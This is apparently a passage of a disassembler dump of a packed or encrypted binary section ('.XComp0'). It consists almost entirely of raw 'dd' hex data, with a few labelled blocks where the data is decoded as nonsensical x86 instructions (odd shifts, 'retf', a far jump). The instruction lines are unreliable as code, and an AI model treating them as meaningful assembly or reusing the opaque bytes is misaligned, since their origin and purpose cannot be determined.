8A5DD1C2h, 0A2316DB4h, 0BB2E01B5h, 0F07A0D2Dh dd 404E2D30h, 814CBEA3h, 0F282E319h, 0C2012A29h, 13F23ADh dd 4BD9CB3Bh, 0BA464FEh, 81A296E0h, 84093186h, 88FF936Bh dd 803B5CD7h, 0E7C009F7h, 0C2218903h, 9F46DD73h, 0DC01CAECh dd 0E9471A11h, 497BD74Ch, 0D584D475h, 0F851F15Bh, 0D1C3101Ah dd 0F134E168h, 402BC784h, 0A24D3080h, 0A009BD21h, 7786915Bh dd 0B44408A2h, 40E471D5h, 132A4EC6h, 0E909E2F8h, 196D08h dd 87F07938h, 0FBE097DFh, 0D49CD631h, 0B0E6C150h, 0CBEB69FCh dd 5120D958h, 7EBE049Dh, 0C31C3621h, 7F07AF60h, 557C46F6h dd 9D80C3Ch, 501A8E5Eh, 0DC868275h, 9F5096Fh, 77EA7DCBh dd 97060DDh, 0F222B5A0h, 4657ADE4h, 21515E8Ch, 3B4BBAE7h dd 0D21749B0h, 63DEFA9Bh, 2FD46809h, 0E9505DD6h, 312DC71Ch dd 46E827C8h, 553408C5h, 0D1EA2BF7h, 0C2D6BB3h, 23E91554h dd 5C275220h, 0D52CB2D7h, 0B82F826Ch, 0C1F293BCh, 317B4BF7h dd 3FD5947Ch, 0D84987A7h, 0C8BE0F82h, 570BDA74h, 47228451h dd 3CC005A8h, 0E9608E05h, 12B18527h, 17664CDh, 0A81BC897h dd 7BE680E9h, 52B9E38Ch, 470254Dh, 3119C27Ah, 6CDEB6Ch dd 0E145B23Eh, 0B53D5548h, 2D66FDA5h, 0D503C254h, 0E3E6786Ch dd 38E46C97h, 0EF4ACC15h, 9DC3F63h, 125CBB23h, 33C64820h dd 1040DB8h, 9179E9DEh, 42897BA9h, 0B18C8478h, 5A8661BDh dd 2D7B5290h, 0FFDD05Dh, 816F7934h, 0AA07DFA0h, 0CB4A294Ah dd 287EDAEEh, 0B97D4E9h, 28CF7562h, 8D6E911h, 622DEF50h dd 0FE477D78h, 9AA47525h, 828CF25Ch, 0AA617468h, 0C500124Ah dd 0E95DBB47h, 492AB2A4h, 5F7F2566h, 12AEE54h, 1AFA8B5Fh dd 429372AEh, 76521A1Fh, 92130AD9h, 9655AF19h, 0E908FB68h dd 7E9573B8h, 6DC8703Dh, 68754304h, 548D3E03h, 1854A020h dd 0C729325h, 166143E4h, 3E9F51Eh, 0C4F8E87Ah, 9DA1DC68h dd 0BDE349F8h, 42F1A4ABh, 942F04A8h, 0B48C4883h, 5727266Ch dd 979D28CDh, 16B54496h, 95327928h, 504A42C4h, 42E55EECh dd 0CFE2E90Ch, 5EF754E8h, 7A5576B5h, 2EBFF341h, 0BE927ABCh dd 0C060E2C9h, 0BA914A68h, 0E91358CAh, 0AA00C559h, 8277C544h dd 0AB01530Bh, 0F7EF8804h, 7EF1F99Bh, 589395Eh, 0A926DDAh dd 0F4D45FAh, 668CAA18h, 7B7F4134h, 0F7C11CF2h, 7ACA87D9h dd 0F726EE14h, 12B1069Ch, 0E8667641h, 1074170h, 7C344BBh dd 2DD32963h, 83C898BAh, 6E1E88C1h, 0B7CA0B1Eh, 72A57C17h dd 5BD93A8Fh, 879DCEB4h, 0D446E98Ch, 0D582727Eh, 329452E0h dd 517ACF20h, 0C2E6201h, 0E91D9AF5h, 353EDA30h, 1314FBB8h dd 0E9404C79h, 0AD0313Fh, 0ABE02D08h, 0F8F95A0Fh, 0DEB15AA2h dd 9868820Bh, 0E95302BBh, 0B34C28C3h, 0D5DC1025h, 0FE97AC68h dd 0D837B82Dh, 517620AEh, 6DB03150h, 8FB92E4Eh, 73DFEAD3h dd 20174E17h, 9D5FA4F7h, 5905645Bh, 0F9958F55h, 1A598ABh dd 28ED53BDh, 190D0941h, 0D58A0AA7h, 0F5F6A5ABh, 497E23C3h dd 5710DD17h, 55592D4Bh, 240849A9h, 0FD48495Eh, 0B9803F20h dd 627002A3h, 59CD3105h, 682467Ch, 99EA7E9h, 1742010Eh dd 3EE06DEDh, 0BD0268F3h, 0E9F12146h, 5065831h, 12FDBB9h dd 41ED5F40h, 8D5259F8h, 69FA9531h, 41FE5BD3h, 0D86EC55Ch dd 3F73307Bh, 84279117h, 0AB5B2CF8h, 0E6211B25h, 49728FADh dd 6B014605h, 0A1B8C06Eh, 1F7CE256h, 77D6E304h, 0F0EE2407h dd 55175AACh, 1BAD3C1Ah dd 147D5B05h, 0BAC5AB77h, 112F5FCh, 9D28AAF8h, 0C2100347h dd 0BAA9E903h, 6FBF7802h, 63297514h, 0E853CA24h, 2447DA16h dd 1B10E39h, 0D90A2FC9h, 0BE836E02h, 1084AFE9h, 6417480h dd 242B7A92h, 0C2F572CAh, 68077D3Fh, 0F5F33135h, 4A6E4E7Eh dd 3132CF1h, 47975C84h, 0E6E81FFAh, 0F973C180h, 0F1E0FDF2h dd 9FB05009h, 0AF378F04h, 8E2D1258h, 97910D30h, 71C965D4h dd 4D950249h, 0C3D7790Dh, 270D5041h, 62A325E9h, 0A2959B66h dd 4C4B450h, 0A5009001h, 67253345h, 0ECCAF55Ah, 27A8C4DDh dd 20757CC4h, 220FE3B0h, 4B6E7D3Fh, 48DF2CFh, 65BA13ADh dd 0C051E1C2h, 2E73551Dh, 10547C0h, 3637A0F6h, 0EB0C824Bh dd 0C1648433h, 5D80D213h, 40592DD8h, 2505615Dh, 516A6C33h dd 0C102F5AEh, 82BA92FEh, 1CBFF29Ch, 16B62059h, 5FD1F457h dd 0CA02F9B9h, 0F8266C70h, 4C8320B5h, 0C8BBAD4Bh, 956078E1h dd 8B5C6C9h, 0C5C62A4h, 37424CE0h, 12EEAD5h, 702A6808h dd 1B41D066h, 12DA2420h, 0FC707646h, 0E82939B9h, 0E9050B3Ch dd 0D0A95BF4h, 0AB56DFCFh, 0E90D748Fh, 30189FC5h, 98408C40h dd 7BC93980h, 1F9AF19Ch, 242356C8h, 3B830132h, 75139F6Ch dd 0E90700A7h, 41CB5538h, 56F74CDh, 0AFE8303Fh, 0EDC05EB4h dd 0B6D976BBh, 18DDC950h, 4CF852F0h, 77092D06h, 8D9016Ah dd 2E280820h, 7FDBC925h, 4D801232h, 25842054h, 8234729Fh dd 0AA27FC08h, 2E525D4Eh, 109BEC93h, 0F07F6C0Ah, 37595CCFh dd 8DF401B4h, 3EC85FFDh, 0C2F15BC7h, 2DCC7B0Fh, 5157EC01h dd 0EAF808BFh, 0FF161B9Ah, 2C402E77h, 5830E908h, 0AEF6F5DFh dd 0E00B123Dh, 865EBC29h, 0EC754A31h, 5439797Ah, 0A3C18417h dd 0EDD8E908h, 0B9839E78h, 498A1B36h, 8632A161h, 5DE9310Dh dd 0AB7138Eh, 171412ECh, 390CF9F3h, 12510233h, 0FED14E5Eh dd 7E6C01A1h, 3E89598Eh, 10B15FE4h, 9039972Dh, 485B2D08h dd 1A4ED056h, 0B6E97E31h, 0BB812453h, 68A93C45h, 8C5FEB2Eh dd 92620C2Fh, 0F9B74F7Eh, 6E6D8432h, 0F6E4D000h, 0CC4EFEDCh dd 356080AFh, 0E92FE528h, 0F59C625h, 9AB4D7B3h, 0BEE29689h dd 13826FF7h, 863E2108h, 0F3B8047Ah, 0F267568Fh, 0EE120EBEh dd 0B900E92Bh, 88D597Dh, 0A60284B8h, 93E9F772h, 0FBD26892h dd 1D02477h, 0CF161Ah, 0E91C951Bh, 3B928466h, 3124597Eh dd 5A92C55Ch, 92B07041h, 0DFE4B2B5h, 0B5A79AE5h, 53BD5783h dd 2F043B12h, 486E600Bh, 490E47B5h, 0BC4E5086h, 0AE87846Ch dd 4E94F3BFh, 0C4AF73C5h, 20BD31DDh, 0ECBF002Bh, 560F165Eh dd 6804AB31h, 99BEBE2Ah, 2B4FFBEh, 0D558C521h, 0C1935359h dd 88F08353h, 66164C18h, 761F68C2h, 506064DEh, 166DD02Ch dd 30C149E9h, 80AAB47Bh, 0D6FCF42Fh, 242524D1h, 0E6F51E53h dd 5A660158h, 26724068h, 58963805h, 5F3949EAh, 0B75058BDh dd 683D24E5h, 0BE570B40h, 1C5017Ch, 3F4CCCEEh, 0E6ABA2D3h dd 0BA680A49h, 0B7823652h, 78C3E90Bh, 88719FCCh, 1731D469h dd 532182D1h, 5F4AE255h, 71BF68EEh, 41100BEEh, 56B5EEFAh dd 39E95049h, 3115A0B6h, 4BC72DBBh, 0D00C4F10h, 0E9EF011Ch dd 0F5EDD75Ah, 0C3746405h, 3AC0813Ch, 358C2FBBh, 48994D17h dd 52ECCE02h, 1772B87h, 0B141F102h, 97D9221h, 0A95EE02Fh dd 0D98909D2h, 0F2C39397h, 0CFCF3A54h, 0BCF0C431h, 7BE475A0h dd 0B0226429h, 0F639ABCCh, 0AF96FC38h, 78A924D1h, 667FC512h dd 7BD19F6Fh, 87ED4F3Eh, 0A6985F2Fh, 2300FE68h, 315E401Ah dd 54E8E9EEh, 59779584h, 3880BC6Fh, 0D1531467h, 0CED2E15Eh dd 1537023h, 36F5805Ah, 6D282EB6h, 19E90899h, 0AE581790h dd 9C277A2Ch, 0C4A171Fh, 4F0C9ABCh, 5F7C24C1h, 0A06AD1FAh dd 715A1617h, 0E6F215C8h, 0BB782C63h, 0A0592704h, 53E9D102h dd 1E51D7D8h, 0CA63CA6Fh, 0C1AE6698h, 0C8300308h, 4CB65259h dd 2FDE6899h, 0D5C4DAF8h, 8AFA12BAh, 3AA64B04h, 0ECD3A54Dh dd 46018726h, 8CA8120Eh, 24B2FAA5h, 0AF38B93h, 4B587368h dd 299412BCh, 0EC00DFF3h, 0C126CD34h, 353C05E8h, 0C9E1738h dd 6137F441h, 73607C49h, 144B0B4Eh, 22595E66h, 0BFFCD3AFh dd 601AF1DBh, 0B702BCA5h, 6668894Bh, 0F24D910Ch, 5E5FF06Bh dd 3B1E92Dh, 0B95753E8h, 0CA3483D6h, 4CB52D68h, 669D8494h dd 0CE59BD77h, 92BFB63h, 505BD837h, 0F5805932h, 0EB323EF2h dd 40E9691Eh, 0A50D7125h, 0EBF298D5h, 0FEBAB59Bh, 0F56CE8F5h dd 0BB7D16DFh, 227587A3h, 57A8B68Dh, 91F0199h, 7A5E4734h dd 8D02C1CDh, 7017E0C9h, 2DE4129h, 817F5B08h, 32081B53h dd 0BF71420h, 426A0E95h, 0B9299E80h, 0E9126526h, 79C96243h dd 0AF44FE2Ah, 0D25B76C2h, 92C9A0C1h, 78066610h, 1F0A5ECAh dd 0D25076F1h, 28B12171h, 0E065E0DCh, 23B92EC0h, 0F4150F01h dd 147B6BB7h, 905E07Fh, 0A83CC766h, 33F50BA5h, 0F044D9E8h dd 0EAD8962Fh, 80065F0Eh, 0CF929F54h, 7CB986B0h, 39412D75h dd 0D12C2176h, 0FC36B802h, 4586404Ah, 428B0BD1h, 9905C101h dd 7836E267h, 62C02D37h, 76134CD5h, 676C8044h, 4B44C198h dd 2022AFF5h, 0AD47C98Bh, 0C001E22Bh, 5E2F7790h, 5FE8092Dh dd 0FB5C3F98h, 40C80720h, 0E4D5256Ah, 1455F6F8h, 0AB68DD64h dd 2CE1B407h, 0E036B4CCh, 0B23C52F5h, 0C21E2FDFh, 7ACEFE3Ah dd 0E9053BDCh, 6C8AE576h, 0EC30BF4Ch, 295EF2EBh, 0FE9C5F9Dh dd 7500A1h, 487BA52h, 0F7329F26h, 0B827C5DAh, 0E50D0F65h dd 682E582Dh, 0E410B733h, 0B73E38F9h, 0C2302F60h, 10FE6276h dd 82EE35BCh, 63AC5880h, 17A7CDDh, 0D46771FAh, 0E562511Ah dd 67E956A2h, 95EA252h, 2D8017FBh, 5C9C589Dh, 74E23268h dd 26D42ABFh, 19D00025h, 0A2435256h, 0A060AADh, 0A1FEF88h dd 25EA8068h, 2537CDD7h, 5D151AF7h, 0FD5AF3F4h, 6F208534h dd 0E2303B6Dh, 0E998598h, 4F027605h, 0D001624Eh, 4ADA4152h dd 135827E0h, 8D8445E9h, 10F7FEE7h, 0CCC509BCh, 0D1119624h dd 0BDE758C4h, 0F4C6B2FCh, 0F60E8D2Fh, 54AF5855h, 0CEBB05BCh dd 26C24F56h, 0FA7409A5h, 2E433282h, 50A96025h, 7E9FDFh dd 4EC8D449h, 4983432h, 0A2BCF9CDh, 45A85FF3h, 0FAA3EAF4h dd 4A7490DEh, 0A210D7AEh, 1CFB94ECh, 0F8133391h, 40C5B416h dd 41D26BF0h, 132DE101h, 872D318Bh, 9E200841h, 1252E67Eh dd 4209E90Ch, 192E6843h, 7887987Dh ; --------------------------------------------------------------------------- loc_504340: ; DATA XREF: .XComp0:off_43FE00o jo short loc_50438A mov dh, 42h push ss sub [edx+106CCEAFh], ch mov cl, 8Eh loc_50434D: ; DATA XREF: .XComp0:off_43FDFCo add [ebx+71964779h], bh shl ebx, 0B0h pop eax pop es retf ; --------------------------------------------------------------------------- db 0Bh, 63h, 54h dd 0C7EB637Bh, 0C477F6A2h, 7EB02565h, 4AD2A4E6h, 0BF5FADF0h dd 14278753h, 0A2564E0Fh, 0E7BE00D4h, 2D70EC1Fh, 0D30802F2h dd 32AF6869h db 0A1h, 18h ; --------------------------------------------------------------------------- loc_50438A: ; CODE XREF: .XComp0:loc_504340j jmp near ptr 0E28A6970h ; --------------------------------------------------------------------------- db 2Eh dd 12A1FD40h, 0FE1A0957h, 0A041FDB2h, 3502663Ch, 82581E33h dd 0C88C697Fh, 984D0224h, 0BECA0905h, 0FDDF4DAh, 70BCE939h dd 0BF5EE6FCh, 97BC8DCh, 639AE9EDh, 7CA754DBh, 6E35000Dh dd 39BD5497h, 1CAE0BD2h, 0E9EAC30Ch, 5712B722h, 530101C5h dd 65410EFEh, 866A060h, 29AFC473h, 88FDD12Dh, 0D027D71Eh dd 0C44D138Eh, 0CE7B0772h, 0BECCF259h, 57A7FCFBh, 4E392A21h dd 0B7816E2Ah, 51CC22B2h, 0C3D6BF46h, 0C939F5A5h, 0D6C3291Fh dd 5840C08h, 0A35ABD68h, 24F77F1h, 0C0A4A4BCh, 78500ECEh dd 10EF264Ah, 0E92808EAh, 80CA99E8h, 51D5B353h, 0F6BFDD88h dd 3982724Bh, 9477B829h, 0FD1030D9h, 0BD55564Ch, 531E200Bh dd 144B8A74h, 0F0FCED01h, 0D46AA298h, 24C5BEA3h, 0E9C2B4B2h dd 37824C69h, 9092AC63h, 0B638FADFh, 60DF8C6Eh, 805CD983h dd 4F5B3AD3h, 7ACB7FA0h, 7BE30059h, 5092B151h, 813E9B0h dd 4EBA58C1h, 0E16467CBh, 6089BB86h, 2ECFE53Ah, 0D3752A52h dd 207C2FAh, 0F42DC8EEh, 722CE921h, 9F4E97Ah, 5ED0D8F7h dd 4DD60226h, 0D1FF731Fh, 0DBF46C82h, 31541758h, 5AD3898Eh dd 169D1533h, 386CBB7Ah, 0F3BA4DDDh, 0EB505114h, 0CB8EA05Bh dd 0F26C28B4h, 414E2FCCh, 6DE10FC8h, 35D51513h, 0D05001FCh dd 0F82D134Ch, 0A37C0002h, 2943B9CCh, 0EF9AD161h, 20E57CF2h dd 8136C520h, 52C92F05h, 0B25C942Fh, 489D09Bh, 77186588h dd 0E9F180EBh, 189F1A3Fh, 0BB8D0B51h, 8AC20284h, 9856ED5Fh dd 5ACD7827h, 0D1934E2Ch, 0EE826CE5h, 91C30640h, 0BF41941h dd 1C8BD901h, 9D56F6D6h, 0FC887865h, 0E4572538h, 0AEFC973Fh dd 49717772h, 31278920h, 6296C237h, 818DE2A6h, 0CF883447h dd 5EF5020h, 5BFA3091h, 4EF91E28h, 0DBDCD6C3h, 93B72A66h dd 0CBF849EBh, 1C4F1AE9h, 94112BF6h, 7EEE27B0h, 62415AFDh dd 0EB239443h, 0F641D89h, 9A10F380h, 9F21E61Dh, 740BC8C5h dd 0A211D2CAh, 5A917FDFh, 0AA056BE8h, 12D7C209h, 5338229Bh dd 0C16DF59h, 37EE5550h, 0F7C985C1h, 0F730BC6Eh, 0CB624B49h dd 224C4C72h, 80219027h, 8142299Fh, 61FC3A5Ch, 3D726882h dd 244ACC77h, 81C2B9D0h, 0E620CCCFh, 0F5BD2F32h, 0C8188E63h dd 4DF52302h, 0F57FB066h, 470855E4h, 0ACBF78DAh, 930E085Ch dd 4E1C000h, 17DCB252h, 1306EA80h, 0F202BB94h, 63F6E9D0h dd 5282B143h, 15A0053Fh, 0DD4FF575h, 0AD3FE39Bh, 0BE25DAh dd 42685EA9h, 0E2C69D5Dh, 7A823C71h, 0B48420CFh, 2421015Eh dd 6800782Eh, 0F617106Ch, 0B1D05B48h, 61BB12C9h, 5AC31161h dd 896BEC45h, 0C2885F5Ah, 0DDAAABBFh, 5B58BF81h, 0AB79BF2Bh dd 14A48021h, 0B1CCE339h, 0DD80E74Ah, 1F6A0502h, 0D7E55408h dd 0A16D527Bh, 0CAE243Bh, 176697Fh, 6268500Bh, 3190B4Ch dd 85B1EA10h, 8888E3FFh, 0BD1ADDAh, 763415Ah, 142A1121h dd 49B5D780h, 53D78BA3h, 4EA28E0Fh, 0BE7EB13h, 45B9858h dd 0C052506Dh, 0DE888AAEh, 2D9C5B58h, 5A0487F1h, 64C8E2A4h dd 0F9324A57h, 25A89DAh, 66B2780Eh, 5448FEC9h, 54A3A870h dd 0FC57504Eh, 927C17C0h, 2328148h, 0D940C93Ah, 83868FF7h dd 0BDE78F2Fh, 5609E380h, 2E0C58BEh, 23E29AEh, 2E3928B4h dd 0F268E05Dh, 29025BFh, 890496FCh, 0FDEE5FFBh, 3FCB0BBCh dd 8B4DC7Dh, 531D4011h, 5B803897h, 0DFC705h, 0C289F3F4h dd 8CB85058h, 1AB46712h, 0BC2116BAh, 0A5191C3Dh, 71EF5727h dd 731A7DA5h, 25F41477h, 590C49Ch, 550FBB53h, 0CA2A721Ch dd 0FBAC6B9h, 72781F91h, 0CFAFC3EBh, 0B6D864FAh, 0C807319Ch dd 31655A46h, 537432BBh, 0EB09D8C4h, 70951252h, 0C14C020Ah dd 0A6E9A7CBh, 890A0277h, 6894D7D0h, 0CBD0C597h, 190F8900h dd 0E93A70BCh, 31996321h, 284C9DD0h, 37EBAC02h, 0B70B1B58h dd 0C329A376h, 0E9801073h, 164F9601h, 4B44E85Eh, 0EA9A30FFh dd 0A84CC87Bh, 0D7C4261Ch, 8914F3ADh, 45CE0253h, 83955D9Dh dd 82BAFF25h, 0F870D4FEh, 0EE8FC987h, 6B539182h, 8ADAE1DFh dd 1226A66Bh, 75AB6DDCh, 0E8B3BB1Bh, 1796047Ch, 0A296FE2h dd 0E42008EBh, 0AABC5D9Dh, 68CDC8BDh, 88F29F2Eh, 0C33DE531h dd 41305EF3h, 900512A8h, 860DB271h, 181DA42Dh, 433F8AE9h dd 0E0D26D5Bh, 22AF3353h, 0DD4ACF2Ah, 67DDDA82h, 0F9280179h dd 51955DFCh, 38538C01h, 1113F2E5h, 580FE459h, 5F67D869h dd 0C05880A5h, 0D004E51Ch, 78B652C0h, 2E5AF530h, 8022EF08h dd 5BFE8866h, 475EA5E9h, 4103A0F4h, 0BEB33B7Fh, 5F7D7B3Ah dd 4656C1EFh, 7AF0DD4Eh, 5DE38FD1h, 1518B20Ch, 0D004DAF6h dd 0FD6818E2h, 0BBF79D69h, 4A2535C5h, 565FA9E3h, 8374E813h dd 4AD180E9h, 5442A52Fh, 6F45EB37h, 5AEDB3EEh, 0C0ACB2C5h dd 0A7E99781h, 521DDFB4h, 6150038Dh, 7E72A17Fh, 1C806494h dd 32BD0BB1h, 21A5D64h, 6A9F20CEh, 0D1DE5D05h, 0D288446Ah dd 0BF0F3F62h, 0BAB3954Ch, 0BA71E604h, 26685F01h, 48CC337Eh dd 358A00B3h, 0C5E92F02h, 80B3BECAh, 3E116022h, 0C098DEF7h dd 3DE88501h, 572E913h, 0BEF955h, 0DF121D34h, 34965A7Fh dd 0CBAA5ECBh, 0C59E85Eh, 1679B1ACh, 0ACE457AFh, 0B7F04015h dd 0F5697F60h, 4EE811B8h, 2D3AB94Ah, 0B63FE0FBh, 0D6B433C0h dd 124ED316h, 899EC8B8h, 4874F10Bh, 4E094193h, 17E7FC23h dd 0AC8C1231h, 0DE58B34Eh, 7A689F10h, 67B59AC0h, 0E55714A0h dd 5E8B1110h, 2E2758F1h, 0D6E9C21Eh, 0C38BA8B1h, 0E79CC138h dd 91EC6B25h, 6925EE4Fh, 606F99FBh, 456025B8h, 3EE5E781h dd 0AB675B02h, 0DFF77921h, 0A6B0B96Ch, 147E9F26h, 0BCFF305h dd 0A5D008AFh, 3FDC9AEBh, 0EF3A43D1h, 49DB298Eh, 107DDF6Bh dd 0FC885353h, 0ECA5BA8Ah, 85DCB57Ch, 2EFD8658h, 39165266h dd 1921FC2Eh, 0F0593CD5h, 0D41CF65Ah, 6BBFE730h, 0D13E0408h dd 0C1D93417h, 0FB7563h, 7435D268h, 4A5A2CEEh, 0E6E9C20Bh dd 0B81E0074h, 3BDC1281h, 7F22C129h, 5B7F6110h, 3AFA2DAEh dd 790B28BBh, 80A8465Ah, 2C24618Fh, 0A22CA88Ch, 0A3944058h dd 5ECD0113h, 7DCCE681h, 0F5322074h, 60FA734Bh, 5130689Ch dd 9642FBB5h, 29E5C225h, 0A7E9C577h, 0E925957Ah, 5C8A02FFh dd 29404081h, 4E217CE6h, 5B80C2F3h, 2269A5DFh, 0C9364AAh dd 0CFEF71A3h, 54027205h, 0ED1F872Dh, 4D105DAFh, 450F1868h dd 0C95A57D2h, 584941EBh, 4D39C135h, 75AEFC10h, 776A452Dh dd 0D5A878A2h, 197226AAh, 0FCE51184h, 4FC28DD1h, 0DD016852h dd 65B0EB31h, 0E132BE7h, 5283B580h, 0FD3AF37Eh, 2DE90ADEh dd 0BA61CBAh, 3EA8DF08h, 4183F9CFh, 0A46F20A5h, 8D161897h dd 695A819Bh, 0D2512439h, 0DC06BF81h, 132EAF18h, 7104AFA5h dd 0AA1756ECh, 44717C02h, 808DD19h, 178F03C0h, 0FEA92597h dd 0F748028Ch, 0A27FC6F8h, 1FDF518h, 4E86E9CCh, 4E10A288h dd 2F996DFEh, 0BB3BBE89h, 0A91C502Ch, 24AFDA83h, 805122D5h dd 62D80969h, 2774D120h, 7F602804h, 0C0831116h, 98902CF0h dd 685740B3h, 99BF5471h, 76FAA5C3h, 51F552B4h, 269A492h dd 5E9F02B3h, 92C1DE57h, 7DA045Ch, 0C40AA809h, 16E553h dd 1D604C06h, 0DA60F71Bh, 87BC2B10h, 0D7091EB4h, 63CCF95Ah dd 8A1D5B02h, 2BD6211Eh, 57C47409h, 2C90777Bh, 0D5293CCBh dd 782F5570h, 9D881CBAh, 574A80D9h, 4E9546ADh, 3A96FBD0h dd 815B4Eh, 685D5A64h dd 95B352E2h, 8F71F481h, 0E82E3165h, 0E558C921h, 4AFE2119h dd 0B54E42AAh, 3A4168EAh, 0B8AA7031h, 5B684740h, 0B5893139h dd 8F6DFC01h, 0DE551297h, 26C04265h, 0A75416A4h, 95E71290h dd 0D012C0F9h, 0E171EB44h, 3B24515Ch, 0FC7C163Dh, 0ED890A1Ah dd 252A2407h, 0E90BEEDBh, 28BFA28h, 92767EF7h, 53614F2Fh dd 1FA076ADh, 8926B72h, 0BF5F37ACh, 777FC60h, 104D4AA7h dd 1909ADBFh, 4A7EA068h, 5CFE5E1Ch, 0F80B4118h, 48BE4102h dd 9260CB62h, 0A290F38h, 56E184CAh, 0EA2F1D68h, 142A0030h dd 553F1813h, 48C6F45Eh, 2D59191Eh, 6FAD8F7Fh, 0CE1F97AFh dd 0D2C45DE7h, 4C16F67Fh, 0CBFB4E82h, 90B4611Dh, 0D60F443h dd 3B3A5531h, 0F717712Fh, 19B66BD5h, 0AAC9EC16h, 0E086B997h dd 25B907F5h, 0C4283E76h, 0EEF0C855h, 5901871Fh, 7E7FA53Dh dd 0EFDA5361h, 0C442FE57h, 4ECCE865h, 5BA82BEAh, 4BFA5314h dd 295F5103h, 49DDC2F0h, 8215C26h, 414D006Bh, 0E33E181h dd 657C2064h, 35E720FBh, 1317116Dh, 3F10FB29h, 731C6008h dd 0B00AD819h, 9AF4B8C6h, 4B789D41h, 5A7F1048h, 15C9FA16h dd 0B1B3F8E8h, 925E920Eh, 8FA596C1h, 2194BE05h, 0D3FFC3EFh dd 0C13A91EDh, 80877F58h, 977FAB2h, 24565857h, 0B22BA668h dd 135F574Ah, 994E9E8h, 0BA004023h, 0B5F5779h, 0E917D521h dd 61B3BDDEh, 66AD2A79h, 29DF9D9Ah, 0D310349h, 0C18B4ED1h dd 69894293h, 60E9F106h, 50ED002Ah, 875D5855h, 64E6DD5Ch dd 84EF9508h, 0A0F4841Dh, 3A09BDE8h, 0D521714Ah, 83EB9AE0h dd 2A5B681Eh, 1BC517Bh, 3489E908h, 0EA4C21DAh, 1E37197Bh dd 0E250B577h, 0E7E1F766h, 0EF404EF8h, 0E0FA8254h, 0EBCB3848h dd 0BD74F30Fh, 4B567DA7h, 0DD4C98DAh, 0CA6EBD70h, 334FC5A0h dd 0B81B390Dh, 0AA3B0B4Bh, 0EB832521h, 9A977430h, 7D683F4Ah dd 36F58C4Ah, 98506640h, 0F8334B22h, 7D47D200h, 3E043001h dd 0E5EB67FFh, 0AA0D34EAh, 0ECC84BB3h, 0D7213E62h, 7F396B21h dd 0EB73204Ah, 0CE03F201h, 6A9E9A1h, 8EBE2287h, 0AE69E40Ah dd 33250084h, 0B9E0E4EBh, 4AE4D57Bh, 1F7201BDh, 0A42F7662h dd 44246156h, 11125E37h, 0E630F545h, 87652CC3h, 69EFFD09h dd 0E080C26h, 0ED800149h, 60C5FE20h, 0B3BEB81Ch, 0EA043E60h dd 2D089F3Fh, 465F02CCh, 0CF742286h, 2CE19137h, 0AD208A45h dd 0AE9E9DD0h, 7EE926A1h, 5E294BA9h, 0DF680A0Fh, 2FE98BE1h dd 5B0B4DF8h, 62E38853h, 0A3B3C151h, 0ABA6133Fh, 97BE58Fh dd 1EAD67D6h, 7208056h, 76279295h, 8DF1883Dh, 7FE28609h dd 0F8D27E60h, 42447C9Fh, 9B666EDFh, 465922F0h, 66039E46h dd 308B4C39h, 0E9893A11h, 239A3020h, 7205E83Bh, 770FC127h dd 0E9099147h, 6811E052h, 386C4DFEh, 0AB66C09Ch, 60C28138h dd 41B95F18h, 243A900Ch, 17E4859Bh, 98A7A482h, 8948A269h dd 51D17F32h, 25F5063Bh, 2F95C685h, 165D515Dh, 6FE5B748h dd 0CB02FDAFh, 5ED847EDh, 65383D25h, 646108A3h, 1C1E6881h dd 0D8ED239Fh, 5A4352D6h, 0B533B87Ch, 50D5A3AAh, 0D09A2F44h dd 69D66662h, 0D0C00790h, 80DFF608h, 12DAEF2Ch, 0E5EC7A12h dd 6F6D35CDh, 0ED2BCEB5h, 0DBAD16F7h, 0C618EFEh, 0C539A368h dd 9F72B20Ah, 0E9E21AF1h, 9B8A93Fh, 81487D16h, 0C3AA122Ch dd 404CD9FFh, 0F02816B6h, 0F8F72C80h, 2C3B905Bh, 187861B4h dd 0E96D0647h, 0C3346B33h, 6462B9D1h, 28381029h, 1928FA4Bh dd 0FC29671h, 0C1A7478Fh, 8106336Fh, 6000852h, 0D0E8E955h dd 38789F0Ch, 12A3BC02h, 0F5F7097Ah, 7BC20F41h, 7B5882A3h dd 4EE8EE00h, 482DA664h, 5837293Ah, 258B2065h, 6BD4F888h dd 951C253Ch, 0F0B6137Bh, 9C00BB92h, 810D0347h, 2471B9F3h dd 1648346Fh, 0FE721C4Ah, 0E80AF138h, 2E33A9Fh, 76B74C8Bh dd 17C3EBA5h, 0D52F3408h, 6481EAACh, 0A7249977h, 497843AAh dd 13E4C4DAh, 3EAC000h, 0F648C2FEh, 56DF102Ah, 45CF6809h dd 0BA4E7366h, 3CBEA517h, 2426E990h, 0D541AB5Dh, 7070E828h dd 976AB65Fh, 169BC58Ah, 0E8FAFB3h, 31643D4Ah, 0CE003B6Ch dd 35783EBAh, 80B39642h, 46AD5B23h, 0FDB2D629h, 7E3CBE7Fh dd 83F3A035h, 5A881808h, 72EFCB62h, 1343310Bh, 9DC5F857h dd 3E9C5891h, 0DDEB9012h, 9128F8BAh, 13EA1DD2h, 428EFC0h dd 0A2CE4FF6h, 0A57CDFFDh, 4AB94AFDh, 0C3E1543Bh, 0FB90DF31h dd 9A6373E9h, 837E2C2Ah, 0FB4AF7C8h, 379EDDADh, 63CCFB2Ch dd 0CA805265h, 2066521h, 0CF39BA4Ch, 0C45C173Dh, 12E9DD25h dd 3A40305Fh, 0D56A8A2h, 0FADDEF09h, 13A4DD74h, 0FC6FA56h dd 0A00DD7F2h, 184B3636h, 86E3F2C5h, 0AF18C634h, 0FB1213B6h dd 2A30E631h, 580495E4h, 4A596853h, 927160ABh, 2BF92166h dd 0A205A5B9h, 0BEBB5C12h, 0F1CBF1D0h, 6383242Ah, 7B093BAAh dd 7BD677FFh, 1410544Bh, 0DD68C86h, 88117C9Fh, 96874EEh dd 4684F2B1h, 3EDAB88Ah, 668CCF87h, 11D00BB9h, 1CF82EC6h dd 43CC6A14h, 85F47DB2h, 1D59277Ah, 9E313162h, 0A86AD921h dd 27EC7E13h, 0FE091CCBh, 3F930816h, 601E3724h, 1285842h dd 89F88FEh, 36190C30h, 5F2424A3h, 4D7FCB39h, 1B362CE8h dd 74B72701h, 0F044AB70h, 29AE38EFh, 0AB94054Dh, 521012B2h dd 0EEA899BAh, 0A664A83Bh, 392909FAh, 94060F63h, 40B70D25h dd 5A2E68F1h, 80FCB35Ah, 0C46CE8C5h, 0F5012E51h, 0AF62041h dd 77DC67C2h, 0DD30788h, 5050BB1Eh, 2513B87Eh, 0CF3EB5Bh dd 23958122h, 856DA0C4h, 0C4B7B2AEh, 0B900DF0Eh, 46B13349h dd 17746695h, 0B32C55E9h, 0B02BA32Ch, 2DE97203h, 32F7D6FDh dd 0B530DDEFh, 